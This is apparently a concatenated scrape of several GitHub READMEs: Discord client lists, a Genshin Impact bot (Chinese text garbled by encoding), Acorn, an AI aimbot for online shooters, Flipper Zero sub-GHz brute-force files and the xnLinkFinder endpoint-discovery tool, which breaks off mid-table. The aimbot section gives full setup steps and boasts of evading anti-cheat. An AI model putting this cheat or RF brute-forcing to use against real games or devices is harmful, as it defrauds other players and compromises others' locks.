| [Unofficial Discord 3DS Client](https://github.com/yourWaifu/Unofficial-Discord-3DS-Client) | This just a simple Discord client for the 3DS build using the `Sleepy Discord` library and the `Wslay` library. | [![C++][C++-Badge]][C++-Url] | ๐ On hiatus, since November 2017 |
| [Quarrel](https://github.com/UWPCommunity/Quarrel) | Quarrel is a Discord client for Windows and Xbox that aims to bring voice chat to Xbox and improved support for varying screen sizes on devices running windows. | [![C#][C#-Badge]][C#-Url] | ๐ On hiatus, since Augest 2022|
| [VitaCord](https://github.com/devingDev/VitaCord) | Discord Client for PS Vita / PS TV | [![C++][C++-Badge]][C++-Url] | ๐ On hiatus, since March 2018 |
| [Switchcord](https://github.com/vbe0201/switchcord) | An unofficial Discord client for the Nintendo Switch console. | [![C++][C++-Badge]][C++-Url] | ๐ด Discontinued |
| [3DiScord](https://github.com/cheuble/3DiScord) | A Discord client for the Nintendo 3DS | [![C++][C++-Badge]][C++-Url] | โ Discontinued. will get you banned |
## Other clients
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Discross](http://discross.rc24.xyz/index.html) | A webhook bridge to send messages on Discord through a webpage | [![JavaSript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [purple-discord](https://github.com/EionRobb/purple-discord) | A libpurple/Pidgin plugin for Discord | [![C][C-Badge]][C-Url] | ๐ข Active |
| [Reliable Discord-client IRC Daemon (rdircd)](https://github.com/mk-fg/reliable-discord-client-irc-daemon) | Reliable personal discord-client to irc-server translation daemon | [![Python][Python-Badge]][Python-Url] | ๐ข Active |
| [discord-j2me](https://github.com/gtrxAC/discord-j2me) | Discord client for Java ME (MIDP 2.0) devices | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ข Active |
| [Weechat Discord](https://github.com/terminal-discord/weechat-discord) | Weechat plugin for Discord support. | [![Rust][Rust-Badge]][Rust-Url] | ๐ข Active |
| [bitlbee-discord](https://github.com/sm00th/bitlbee-discord) | Discord protocol plugin for BitlBee. | [![C][C-Badge]][C-Url] | ๐ On hiatus, since September 2021 |
| [crocodile](https://github.com/tbodt/crocodile) | Discord client for TempleOS. | [![Python][Python-Badge]][Python-Url] | ๐ On hiatus, since November 2017 |
| [discord-aos](https://github.com/ruslang02/discord-aos) | Discord client for Sailfish OS | [![Qt][Qt-Badge]][Qt-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ On hiatus, since November 2021 |
| [discord-ppc](https://github.com/vistafan12/discord-ppc) | Discord version for PowerPC architecture | [![JavaScript][JavaScript-Badge]][JavaScript-Url] | ๐ On hiatus, since June 2017 |
| [Arcscord](https://github.com/Arcoz0308/arcscord) | NodeJS library written in typescript who interact with the Discord API | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ด Discontinued |
## Third party server implementations
The following are server implementations that reimplement Discord's client-server API:
| Name | Features | Language(s) | Development Status |
| :---: | :---: | :---: | :---: |
| [Reflectcord](https://github.com/V3L0C1T13S/reflectcord) | Reimplementation of Discord API Server on top of Revolt.chat, intended for self hosting | [![JavaScript][JavaScript-Badge]][JavaScript-Url] [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Spacebar Chat](https://spacebar.chat/) | Almost fully featured re-implementation of Discord API Server, intended for self hosting | [![TypeScript][TypeScript-Badge]][TypeScript-Url] | ๐ข Active |
| [Litecord](https://gitlab.com/litecord/litecord) | Partial reimplementation of Discord API Server, not intended for self hosting | [![Python][Python-Badge]][Python-Url] | ๐ On hiatus, since May 2023 |
[^1]: Discord brought a breaking change for the mod in question.
[^2]: Some occasional breaks might occur depending on the maintainers' free time.
## Contributing
Please refer to [CONTRIBUTING.md](/.github/CONTRIBUTING.md) if you want to contribute to this project.
## Further comments
Will update as needed!
If you would like feel free to reach out to [Nekopara#4266](https://discord.com/users/1074227433395470376) (Head of Team) on the official Discord:
https://discord.gg/3kv5yzTYQE
## Disclaimer
We (contributors) are not responsible for you getting banned from using a 3rd party or you getting kicked from servers.
[C-Badge]: https://img.shields.io/badge/C-%2300599C.svg?style=flat&logo=c&logoColor=white
[C-Url]: https://en.wikipedia.org/wiki/C_(programming_language) "C"
[C++-Badge]: https://img.shields.io/badge/C++-%2300599C.svg?style=flat&logo=c%2B%2B&logoColor=white
[C++-Url]: https://en.wikipedia.org/wiki/C++ "C++"
[C#-Badge]: https://img.shields.io/badge/C%23-%23239120.svg?style=flat&logo=c-sharp&logoColor=white
[C#-Url]: https://en.wikipedia.org/wiki/C_Sharp_(programming_language) "C#"
[Crystal-Badge]: https://img.shields.io/badge/Crystal-%23000000.svg?style=flat&logo=crystal&logoColor=white
[Crystal-Url]: https://en.wikipedia.org/wiki/Crystal_(programming_language) "Crystal"
[Dart-Badge]: https://img.shields.io/badge/Dart-%230175C2.svg?style=flat&logo=dart&logoColor=white
[Dart-Url]: https://en.wikipedia.org/wiki/Dart_(programming_language) "Dart"
[Go-Badge]: https://img.shields.io/badge/Go-%2300ADD8.svg?style=flat&logo=go&logoColor=white
[Go-Url]: https://en.wikipedia.org/wiki/Go_(programming_language) "Go"
[Java-Badge]: https://img.shields.io/badge/Java-%23ED8B00.svg?style=flat&logo=java&logoColor=white
[Java-Url]: https://en.wikipedia.org/wiki/Java_(programming_language) "Java"
[JavaScript-Badge]: https://img.shields.io/badge/JavaScript-%23323330.svg?style=flat&logo=javascript&logoColor=%23F7DF1E
[JavaScript-Url]: https://en.wikipedia.org/wiki/JavaScript "JavaScript"
[Kotlin-Badge]: https://img.shields.io/badge/Kotlin-%230095D5.svg?style=flat&logo=kotlin&logoColor=white
[Kotlin-Url]: https://en.wikipedia.org/wiki/Kotlin_(programming_language) "Kotlin"
[Nim-Badge]: https://img.shields.io/badge/Nim-%23161820.svg?style=flat&logo=nim&logoColor=%23ffe953
[Nim-Url]: https://en.wikipedia.org/wiki/Nim_(programming_language) "Nim"
[Objective-C-Badge]: https://img.shields.io/badge/Objective%20C-000000.svg?&style=flat&logo=Apple&logoColor=white
[Objective-C-Url]: https://en.wikipedia.org/wiki/Objective-C "Objective-C"
[Python-Badge]: https://img.shields.io/badge/Python-3670A0?style=flat&logo=python&logoColor=ffdd54
[Python-Url]: https://en.wikipedia.org/wiki/Python_(programming_language) "Python"
[Qt-Badge]: https://img.shields.io/badge/Qt-%23217346.svg?style=flat&logo=Qt&logoColor=white
[Qt-Url]: https://en.wikipedia.org/wiki/QML "Qt"
[Ruby-Badge]: https://img.shields.io/badge/ruby-%23CC342D.svg?style=flat&logo=ruby&logoColor=white
[Ruby-Url]: https://en.wikipedia.org/wiki/Ruby_(programming_language) "Ruby"
[Shell Script-Badge]: https://img.shields.io/badge/Shell_Script-%23121011.svg?style=flat&logo=gnu-bash&logoColor=white
[Shell Script-Url]: https://en.wikipedia.org/wiki/Shell_script "Shell Script"
[Swift-Badge]: https://img.shields.io/badge/Swift-F54A2A?style=flat&logo=swift&logoColor=white
[Swift-Url]: https://en.wikipedia.org/wiki/Swift_(programming_language) "Swift"
[TypeScript-Badge]: https://img.shields.io/badge/TypeScript-%23007ACC.svg?style=flat&logo=typescript&logoColor=white
[TypeScript-Url]: https://en.wikipedia.org/wiki/TypeScript "TypeScript"
[Vue.js-Badge]: https://img.shields.io/badge/Vue.js-%2335495e.svg?style=flat&logo=vuedotjs&logoColor=%234FC08D
[Vue.js-Url]: https://en.wikipedia.org/wiki/Vue.js "Vue.js"
[Zig-Badge]: https://img.shields.io/badge/Zig-%23F7A41D.svg?style=flat&logo=zig&logoColor=white
[Zig-Url]: https://en.wikipedia.org/wiki/Zig_(programming_language) "Zig"
[Rust-Badge]: https://img.shields.io/badge/Rust-%23000000.svg?&logo=Rust
[Rust-url]: https://en.wikipedia.org/wiki/Rust "Rust"
[React-Badge]: https://img.shields.io/badge/React-%2361DAFB?style=flat&logo=react&labelColor=black&color=blue
[React-url]: https://en.wikipedia.org/wiki/React_(software) "React"
| A non-exhaustive collection of third-party clients and mods for Discord. | discord,discord-client,discord-mod,discord-libraries,discord-library,encyclopedia,listing | 0 | 42 | 89 | 258 | 2 | 1 | 0 |
CMHopeSunshine/LittlePaimon | <p align="center" >
<a href="https://github.com/CMHopeSunshine/LittlePaimon/tree/nonebot2"><img src="https://s1.ax1x.com/2023/02/05/pS62DJK.png" width="256" height="256" alt="LittlePaimon"></a>
</p>
<h1 align="center">ๅฐๆดพ่|LittlePaimon</h1>
<h4 align="center">โจๅบไบ<a href="https://github.com/nonebot/nonebot2" target="_blank">NoneBot2</a>็ๅ็ฅๆบๅจไบบโจ</h4>
<p align="center">
<a href="https://cdn.jsdelivr.net/gh/CMHopeSunshine/LittlePaimon@master/LICENSE"><img src="https://img.shields.io/github/license/CMHopeSunshine/LittlePaimon" alt="license"></a>
<img src="https://img.shields.io/badge/Python-3.8+-yellow" alt="python">
</p>
## ไธจ็ฎไป
ๅ็ฅๅคๅ่ฝๆบๅจไบบ๏ผๆฅ่ฏขๆธธๆไฟกๆฏใๅพ้ดๆป็ฅใๆ ่ๆ้็ญ็ญ๏ผไปฅๅๅ็งๅๆ ท็ๅฅฝ็ฉ็ๅ่ฝ๏ผไธไป
ไป
ๆฏๅ็ฅใ
็ฎๅๆๅชๆฏๆonebotๅ่ฎฎ๏ผๆญฃๅจๅผๅๅค่ๅคฉๅนณๅฐ็~~่นๆฐ~~็ๆฌใ
## ไธจๅฟซ้้จ็ฝฒ
ไฝฟ็จ[ๅฐๆดพ่่ๆๆถๆไปถ](https://github.com/CMHopeSunshine/nb-cli-plugin-littlepaimon)ๅฟซ้้จ็ฝฒๅฎ่ฃ
ๅฐๆดพ่ใ
[](https://asciinema.org/a/kMBRbuX5lCEnk5lmXcU53ys5b)
## ไธจๆๆกฃ
> [ๆๆกฃๅฐๅ](docs.paimon.cherishmoon.top)
## | ๅ่ฝ็คบไพ
<details>
<summary>ๅธฎๅฉๅ่กจ</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6gWCT.jpg" alt="help">
</details>
<details>
<summary>็ฉๅฎถๅก็</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6g25V.jpg" alt="ys">
</details>
<details>
<summary>่ง่ฒ่ๅ
</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6ggU0.jpg" alt="ysa">
</details>
<details>
<summary>่ง่ฒ้ขๆฟ</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6gh2F.jpg" alt="ysd">
</details>
<details>
<summary>่ง่ฒๅก็</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6gf8U.jpg" alt="ysc">
</details>
<details>
<summary>ๆทฑๆธๆๆฅ</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6gcEq.jpg" alt="sy">
</details>
<details>
<summary>ๅฎๆถไพฟ็ญพ</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6gybn.jpg" alt="ssbq">
</details>
<details>
<summary>่ง่ฒๅพ้ด</summary>
<img src="https://s1.ax1x.com/2023/02/05/pS6fAG6.jpg" alt="map">
</details>
## | Playwright็ธๅ
ณ้ฎ้ข
ๅ ้จๅ็ณป็ปไธ้็จไบchromium๏ผ่ฐทๆญๆต่งๅจ๏ผ๏ผๆ
ๅฐ้ป่ฎคๅ
ๆ ธๆนไธบFireFox
ๅฆ้ๅๆข๏ผๅฏๆดๆน config/paimon_config_default.yml ็้ป่ฎคๅผ
## | ๅธธ่ง้ฎ้ข&่ด่ฐข
่ฏฆ่ง[ๅธธ่ง้ฎ้ข](https://docs.paimon.cherishmoon.top/question.html)ๅ[่ด่ฐข](https://docs.paimon.cherishmoon.top/thanks.html)ใ
## | ๅ
ถไป
- ๅฆๆไฝ ๅๆฌข่ฟไธช้กน็ฎ๏ผๆฌข่ฟ็ปไธชstarๆ่
[็ฑๅ็ต](https://afdian.net/a/cherishmoon)๏ผๅๅๆ่ฐขใ
- ๆฌ้กน็ฎๅฎๅ
จๅผๆบๅ
่ดน๏ผไป
ไพๅญฆไน ไฝฟ็จ๏ผ็ฆๆญข็จไบๅไธ็จ้ๅ้ๆณ่กไธบ๏ผๅฆๆไปไบบ้ๆณไฝฟ็จ๏ผไธๆฌไฝ่
ๆ ๅ
ณใ
- ๅฆๆๆจไฝฟ็จๅนถไฟฎๆนไบๆฌ้กน็ฎๆบ็ ๏ผ่ฏท้ตๅพช[AGPL-3.0](https://github.com/CMHopeSunshine/LittlePaimon/blob/Bot/LICENSE)ๅฐๆบ็ ๅผๆบใ
| ๅฐๆดพ่๏ผๅบไบNonebot2็ๅ็ฅๆบๅจไบบ๏ผๅ
ๆฌไฝไธ้ไบUID้ขๆฟๆฅ่ฏขใๆฝๅก่ฎฐๅฝๅๆใๆธธๆๆป็ฅๅพ้ดใๅฎๆถไพฟ็ญพใๅ็ณๆญ่ฎฐใ็พค่ๅญฆไน ใ็พค็ฎก็ญๅ่ฝใ/ LittlePamon! Genshin Impact multifunctional bot based on Nonebot2. | qqbot,genshin,genshin-impact,nonebot,python,mihoyo,chatbot,nonebot2,onebot | 1 | 21 | 98 | 449 | 33 | 5 | 2 |
acorn-io/runtime | # Acorn
A simple application deployment framework for Kubernetes.
- One artifact across dev, test, and production
- Simple CLI and powerful API
- Runs on any Kubernetes cluster
| :memo: | Acorn is a work in progress. Features will evolve over time and there may be breaking changes between releases. Please give us your feedback in Slack, Discussions, or Issues! |
|-|:-|
## Get Started
- [Downloads](https://github.com/acorn-io/runtime/releases)
- [Runtime Documentation](https://runtime-docs.acorn.io)
- [Community Slack](https://slack.acorn.io)
- [Discussions Forum](https://github.com/acorn-io/runtime/discussions)
## Contributing
For the basics on how to contribute to acorn, checkout [CONTRIBUTING.md](CONTRIBUTING.md).
More details can also be found in our [developer wiki](https://github.com/acorn-io/runtime/wiki).
## License
Copyright (c) 2023 [Acorn Labs, Inc.](http://acorn.io)
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
[http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
| A simple application deployment framework built on Kubernetes | hacktoberfest,kubernetes | 100 | 39 | 1,597 | 2,687 | 223 | 29 | 5 |
RootKit-Org/AI-Aimbot | ๏ปฟ# ๐ฏ World's Best AI Aimbot ๐ฎ
[](http://makeapullrequest.com)
## โจBEST EXPERIENCE, Use our Launcher and the Launcher Custom Code Pack!โจ
### Over 10,000 users use the Launcher
### ๐ด LIVE: Aimbot Internation 2024 - Win $1,000s
Prepare your custom code and submit it for the aimbot internation which ends later this year. Work alone or solo. Check out the following videos to learn more.
All custom code must be submitting thru the launcher.
https://youtube.com/live/mtV6w2qhaNs?feature=share
Download the [RootKit Launcher](https://github.com/RootKit-Org/Launcher). It is FREE. **No coding required.**
It will auto-setup everything for you!
Want to make your own bot? Then use the [Starter Code Pack](https://github.com/RootKit-Org/AI-Aimbot-Starter-Code)!
## ๐ Welcome Aboard!
We're a charity on a mission to educate and certify the upcoming wave of developers in the world of Computer Engineering ๐. Need assistance? Hop into our [Discord](https://discord.gg/rootkitorg) and toss your questions at `@Wonder` in the *#ai-aimbot channel* (be sure to stick to this channel or face the consequences! ๐ฌ). Type away your query and include `@Wonder` in there.
Our *AI Aimbot* ๐ค sharpshoots targets in **any game with humanoid characters**, harnessing the power of [YOLOv5](https://github.com/ultralytics). Currently, it's a ninja against anti-cheat systems, as it's visual-only. Still, watch out for manual player reports! ๐
Intended for educational use ๐, our aim is to highlight the vulnerability of game devs to AI-driven cheats. Pass it along to your game developer buddies, and save their games from being outsmarted!
**โ Use at your own risk! If you're caught... well, you've been warned!**
## ๐น Instructional Media
- [Watch the tutorial video (Works But Outdated)](https://www.youtube.com/watch?v=TCJHLbbeLhg)
- [Watch the live stream explainer (Works But Outdated)](https://www.youtube.com/watch?v=uniL5yR7y0M&ab_channel=RootKit)
- [Join the Discord](https://discord.gg/rootkitorg)
## There are 3 Versions ๐๐ฆ๐ฅ๏ธ
- Fast ๐โโ๏ธ - `main.py` โ
Easy to set up, Works on any computer ๐ป
- Faster ๐โโ๏ธ๐จ - `main_onnx.py` โ๏ธ May need to edit a file, Works on any computer ๐ป
- Fastest ๐ - `main_tensorrt.py` ๐ข Enterprise level hard, Works on computers with Nvidia GPUs only ๐ฎ
## ๐งฐ Requirements
- Nvidia RTX 980 ๐, higher or equivalent
- And one of the following:
- Nvidia CUDA Toolkit 11.8 [DOWNLOAD HERE](https://developer.nvidia.com/cuda-11-8-0-download-archive)
## ๐ Pre-setup Steps
1. Download and Unzip the AI Aimbot and stash the folder somewhere handy ๐๏ธ.
2. Ensure you've got Python installed (like a pet python ๐) โ grab version 3.11 [HERE](https://www.python.org/downloads/release/python-3116/).
- ๐ Facing a `python is not recognized...` error? [WATCH THIS!](https://youtu.be/E2HvWhhAW0g)
- ๐ Is it a `pip is not recognized...` error? [WATCH THIS!](https://youtu.be/zWYvRS7DtOg)
3. Fire up `PowerShell` or `Command Prompt` on Windows ๐.
4. To install `PyTorch`, select the appropriate command based on your GPU.
- Nvidia `pip install torch==2.0.1 torchvision==0.15.2 torchaudio==2.0.2 --index-url https://download.pytorch.org/whl/cu118`
- AMD or CPU `pip install torch torchvision torchaudio`
5. ๐ฆ Run the command below to install the required Open Source packages:
```
pip install -r requirements.txt
```
## ๐ How to Run (Fast ๐โโ๏ธ Version)
Follow these steps **after** Python and all packages have been installed:
1. Open `PowerShell` โก or `Command Prompt` ๐ป.
2. Input `cd `, then drag & drop the folder containing the bot code into the terminal.
3. Hit Enter โฉ๏ธ.
4. Type `python main.py` and press Enter.
5. Use **CAPS_LOCK** to toggle the aimbot ๐ฏ. It begins in the *off* state.
6. Pressing `q` ๐ฃ at **ANY TIME** will shut down the program.
## ๐ How to Run (Faster ๐โโ๏ธ๐จ Version)
Follow these steps **after** Python and all packages have been installed:
1. Open the `config.py` ๐ file and tweak the `onnxChoice` variable to correspond with your hardware specs:
- `onnxChoice = 1` # CPU ONLY ๐ฅ
- `onnxChoice = 2` # AMD/NVIDIA ONLY ๐ฎ
- `onnxChoice = 3` # NVIDIA ONLY ๐๏ธ
2. IF you have an NVIDIA set up, run the following
```
pip install onnxruntime-gpu
pip install cupy-cuda11x
```
2. Follow the same steps as for the Fast ๐โโ๏ธ Version above except for step 4, you will run `python main_onnx.py` instead.
## ๐ How to Run (Fastest ๐ Version)
Follow these sparkly steps to get your TensorRT ready for action! ๐ ๏ธโจ
1. **Introduction** ๐ฌ
Watch the TensorRT section of the setup [video ๐ฅ](https://www.youtube.com/watch?v=uniL5yR7y0M&ab_channel=RootKit) before you begin. It's loaded with useful tips!
2. **Oops! Don't Forget the Environment** ๐ฑ
We forgot to mention adding environmental variable paths in the video. Make sure to do this part!
3. **Get Support If You're Stumped** ๐ค
If you ever feel lost, you can always `@Wonder` your questions in our [Discord ๐ฌ](https://discord.gg/rootkitorg). Wonder is here to help!
4. **Install Cupy**
Run the following `pip install cupy-cuda11x`
5. **CUDNN Installation** ๐งฉ
Click to install [CUDNN ๐ฅ](https://developer.nvidia.com/downloads/compute/cudnn/secure/8.9.6/local_installers/11.x/cudnn-windows-x86_64-8.9.6.50_cuda11-archive.zip/). You'll need a Nvidia account to proceed. Don't worry it's free.
6. **Unzip and Relocate** ๐โก๏ธ
Open the .zip CuDNN file and move all the folders/files to where the CUDA Toolkit is on your machine, usually at `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8`.
7. **Get TensorRT 8.6 GA** ๐ฝ
Fetch [`TensorRT 8.6 GA ๐`](https://developer.nvidia.com/downloads/compute/machine-learning/tensorrt/secure/8.6.1/zip/TensorRT-8.6.1.6.Windows10.x86_64.cuda-11.8.zip).
8. **Unzip and Relocate** ๐โก๏ธ
Open the .zip TensorRT file and move all the folders/files to where the CUDA Toolkit is on your machine, usually at `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8`.
9. **Python TensorRT Installation** ๐ก
Once you have all the files copied over, you should have a folder at `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8\python`. If you do, good, then run the following command to install TensorRT in python.
```
pip install "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8\python\tensorrt-8.6.1-cp311-none-win_amd64.whl"
```
๐จ If the following steps didn't work, don't stress out! ๐
The labeling of the files corresponds with the Python version you have installed on your machine. We're not looking for the 'lean' or 'dispatch' versions. ๐ Just locate the correct file and replace the path with your new one. ๐ You've got this! ๐ช
10. **Set Your Environmental Variables** ๐
Add these paths to your environment:
- `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8\lib`
- `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8\libnvvp`
- `C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v11.8\bin`
11. **Download Pre-trained Models** ๐ค
You can use one of the .engine models we supply. But if it doesn't work, then you will need to re-export it. Grab the `.pt` file here for the model you want. We recommend `yolov5s.py` or `yolov5m.py` [HERE ๐](https://github.com/ultralytics/yolov5/releases/tag/v7.0).
12. **Run the Export Script** ๐โโ๏ธ๐ป
Time to execute `export.py` with the following command. Patience is key; it might look frozen, but it's just concentrating hard! Can take up to 20 minutes.
```
python .\export.py --weights ./yolov5s.pt --include engine --half --imgsz 320 320 --device 0
```
Note: You can pick a different YOLOv5 model size. TensorRT's power allows for larger models if desired!
If you've followed these steps, you should be all set with TensorRT! โ๏ธ๐
## โ๏ธ Configurable Settings
*Default settings are generally great for most scenarios. Check out the comments in the code for more insights. ๐ The configuration settings are now located in the `config.py` file!<br>
**CAPS_LOCK is the default for flipping the switch on the autoaim superpower! โ๏ธ ๐ฏ**
`useMask` - Set to `True` or `False` to turn on and off ๐ญ
`maskWidth` - The width of the mask to use. Only used when `useMask` is `True` ๐
`maskHeight` - The height of the mask to use. Only used when `useMask` is `True` ๐
`aaQuitKey` - The go-to key is `q`, but if it clashes with your game style, swap it out! โจ๏ธโป๏ธ
`headshot_mode` - Set to `False` if you're aiming to keep things less head-on and more centered. ๐ฏโก๏ธ๐
`cpsDisplay` - Toggle off with `False` if you prefer not to display the CPS in your command station. ๐ป๐ซ
`visuals` - Flip to `True` to witness the AI's vision! Great for sleuthing out any hiccups. ๐ต๏ธโโ๏ธโ
`aaMovementAmp` - The preset should be on point for 99% of players. Lower the digits for smoother targeting. Recommended doses: `0.5` - `2`. โ๏ธ๐น๏ธ
`confidence` - Stick with the script here unless you're the expert. ๐งโจ
`screenShotHeight` - Same as above, no need for changes unless you've got a specific vision. ๐๐ผ๏ธ
`screenShotWidth` - Keep it constant as is, unless you've got reasons to adjust. ๐๐ผ๏ธ
`aaDetectionBox` - Default's your best bet, change only if you've got the know-how. ๐ฆโ
`onnxChoice` - Gear up for the right graphics cardโNvidia, AMD, or CPU power! ๐ป๐พ
`centerOfScreen` - Keep this switched on to stay in the game's heart. โค๏ธ๐ฅ๏ธ
## ๐ Current Stats
The bot's efficiency depends on your setup. We achieved 100-150 CPS with our test specs below ๐.
- AMD Ryzen 7 2700
- 64 GB DDR4
- Nvidia RTX 3080
๐ก Tip: Machine Learning can be tricky, so reboot if you keep hitting CUDA walls.
## ๐ค Community Based
We're all about collaboration. Your contributions can earn you credit and potential ๐ฐ!
**Want to volunteer? Have video or program ideas? Tell us!**
## โ ๏ธ Known Cheat-Detectable Games
Splitgate (reported by a Discord user ๐ต๏ธโโ๏ธ), EQU8 detects win32 mouse movement library.
## ๐ Custom Aimbots and Models
Show off your work or new models via Pull Requests in `customScripts` or `customModels` directories, respectively. Check out the `example-user` folder for guidance.
## ๐ Future Ideas
- [x] Mask Player to avoid false positives
Happy Coding and Aiming! ๐๐พ
| World's Best AI Aimbot - CS2, Valorant, Fortnite, APEX, every game | machine-learning,aimbot,aimbotcsgo,video-game-ai,aimbot-valorant,aimbot-tarkov,ai-aimbot,ml-aimbot,cs2,cs2-aimbot | 0 | 18 | 43 | 122 | 24 | 9 | 0 |
MuddledBox/FlipperZeroSub-GHz | # FlipperZeroSub-GHz
Sub-GHz Files for the Flipper Zero
What deBruijn file do I use for what?
Add to your X:\subghz folder on your SD card!
UNLOCKED FIRMWARE REQUIRED!
Available here: https://github.com/MuddledBox/flipperzero-firmware/releases
| Sub-GHz Files for the Flipper Zero | null | 0 | 2 | 4 | 29 | 7 | 1 | 0 |
xnl-h4ck3r/xnLinkFinder | <center><img src="https://github.com/xnl-h4ck3r/xnLinkFinder/blob/main/xnLinkFinder/images/title.png"></center>
## About - v6.3
This is a tool used to discover endpoints (and potential parameters) for a given target. It can find them by:
- crawling a target (pass a domain/URL)
- crawling multiple targets (pass a file of domains/URLs)
- searching files in a given directory (pass a directory name)
- get them from a **Burp** project (pass location of a Burp XML file)
- get them from an **OWASP ZAP** project (pass location of a ZAP ASCII message file)
- get them from a **Caido** project (pass location of a Caido export CSV file)
- processing a [waymore](https://github.com/xnl-h4ck3r/waymore) results directory (searching archived response files from `waymore -mode R` and also requesting URLs from `waymore.txt` and the original URLs from `index.txt` - see [waymore README.md](https://github.com/xnl-h4ck3r/waymore/blob/main/README.md))
The python script is based on the link finding capabilities of my Burp extension [GAP](https://github.com/xnl-h4ck3r/burp-extensions).
As a starting point, I took the amazing tool [LinkFinder](https://github.com/GerbenJavado/LinkFinder) by Gerben Javado, and used the Regex for finding links, but with additional improvements to find even more.
## Installation
`xnLinkFinder` supports **Python 3**.
Install `xnLinkFinder` in default (global) python environment.
```bash
pip install xnLinkFinder
```
OR
```bash
pip install git+https://github.com/xnl-h4ck3r/xnLinkFinder.git -v
```
You can upgrade with
```bash
pip install --upgrade xnLinkFinder
```
### pipx
Quick setup in isolated python environment using [pipx](https://pypa.github.io/pipx/)
```bash
pipx install git+https://github.com/xnl-h4ck3r/xnLinkFinder.git
```
## Usage
| Arg | Long Arg | Description |
| ----------- | -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| -i | --input | Input a: URL, text file of URLs, a Directory of files to search, a Burp XML output file, an OWASP ZAP output file, or a Caido CSV file. |
| -o | --output | The file to save the Links output to, including path if necessary (default: output.txt). If set to `cli` then output is only written to STDOUT. If the file already exist it will just be appended to (and de-duplicated) unless option `-ow` is passed. |
| -op | --output-params | The file to save the Potential Parameters output to, including path if necessary (default: parameters.txt). If set to `cli` then output is only written to STDOUT (but not piped to another program). If the file already exist it will just be appended to (and de-duplicated) unless option `-ow` is passed. |
| -owl | --output-wordlist | The file to save the target specific Wordlist output to, including path if necessary (default: No wordlist output). If set to `cli` then output is only written to STDOUT (but not piped to another program). If the file already exist it will just be appended to (and de-duplicated) unless option -ow is passed. |
| -oo | --output-oos | The file to save the out of scope links output to, including path if necessary (default: No OOS output). If set to `cli` then output is only written to STDOUT (but not piped to another program). If the file already exist it will just be appended to (and de-duplicated) unless option -ow is passed. |
| -ow | --output-overwrite | If the output file already exists, it will be overwritten instead of being appended to. |
| -sp | --scope-prefix | Any links found starting with `/` will be prefixed with scope domains in the output instead of the original link. If the passed value is a valid file name, that file will be used, otherwise the string literal will be used. |
| -spo | --scope-prefix-original | If argument `-sp` is passed, then this determines whether the original link starting with `/` is also included in the output (default: false) |
| -spkf | --scope-prefix-keep-failed | If argument `-spkf` is passed, then this determines whether a prefixed link will be kept in the output if it was a 404 or a RequestException occurs (default: false) |
| -sf | --scope-filter | Will filter output links to only include them if the domain of the link is in the scope specified. If the passed value is a valid file name, that file will be used, otherwise the string literal will be used. This argument is now mandatory if input is a domain/URL (or file of domains/URLs) to prevent crawling sites that are not in scope and also preventing misleading results. |
| -c | --cookies โ | Add cookies to pass with HTTP requests. Pass in the format `'name1=value1; name2=value2;'` |
| -H | --headers โ | Add custom headers to pass with HTTP requests. Pass in the format `'Header1: value1; Header2: value2;'` |
| -ra | --regex-after | RegEx for filtering purposes against found endpoints before output (e.g. `/api/v[0-9]\.[0-9]\*` ). If it matches, the link is output. |
| -d | --depth โ | The level of depth to search. For example, if a value of 2 is passed, then all links initially found will then be searched for more links (default: 1). This option is ignored for Burp files, ZAP files and Caido files because they can be huge and consume lots of memory. It is also advisable to use the `-sp` (`--scope-prefix`) argument to ensure a request to links found without a domain can be attempted. |
| -p | --processes โ | Basic multithreading is done when getting requests for a URL, or file of URLs (not a Burp file, ZAP file or Caido file). This argument determines the number of processes (threads) used (default: 25) |
| -x | --exclude | Additional Link exclusions (to the list in `config.yml`) in a comma separated list, e.g. `careers,forum` |
| -orig | --origin | Whether you want the origin of the link to be in the output. Displayed as `LINK-URL [ORIGIN-URL]` in the output (default: false) |
| -prefixed | | Whether you want to see which links were prefixed in the output. Displays `(PREFIXED)` after link and origin in the output (default: false) |
| -xrel | --exclude-relative-links | By default, if any links in the results start with `./` or `../`, they will be included. If this argument is used, these relative links will not be added. |
| -t | --timeout โ | How many seconds to wait for the server to send data before giving up (default: 10 seconds) |
| -inc | --include | Include input (`-i`) links in the output (default: false) |
| -u | --user-agent โ | What User Agents to get links for, e.g. `-u desktop mobile`. Possible values are `desktop`, `mobile`, `set-top-boxes` and `game-console`. Also there are `mobile-apple`, `mobile-android` and `mobile-windows` that are subsets of `mobile` but can be used separately. |
| -uc | --user-agent-custom โ | A custom User Agent string to use for all requests. This will override the `-u`/`--user-agent` argument. This can be used when a program requires a specific User Agent header to identify you for example. |
| -insecure | โ | Whether TLS certificate checks should be disabled when making requests (delfault: false) |
| -s429 | โ | Stop when > 95 percent of responses return 429 Too Many Requests (default: false) |
| -s403 | โ | Stop when > 95 percent of responses return 403 Forbidden (default: false) |
